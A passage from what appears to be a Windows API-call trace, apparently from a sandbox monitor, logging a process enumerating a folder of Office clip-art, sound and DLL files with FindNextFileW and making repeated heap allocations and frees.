ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.770] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0072.770] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0072.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0072.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62db0 [0072.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa752c0 [0072.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.799] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0072.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62dd0 [0072.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75348 [0072.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0072.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62df0 [0072.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa753d0 [0072.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.831] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0072.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62e10 [0072.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75458 [0072.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.861] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0072.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62e30 [0072.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa754e0 [0072.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.887] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0072.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62e50 [0072.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75568 [0072.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d80) returned 0xa8dec8 [0072.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8b180) returned 1 [0072.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0072.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62e70 [0072.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa755f0 [0072.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.927] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0072.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0072.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0072.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62e90 [0073.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75678 [0073.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62eb0 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75700 [0073.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62ed0 [0073.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90c68 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62ef0 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90cf0 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62f10 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90d78 [0073.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62f30 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90e00 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62f50 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90e88 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62f70 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90f10 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62f90 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa90f98 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62fb0 [0073.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa91020 [0073.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62fd0 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa910a8 [0073.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 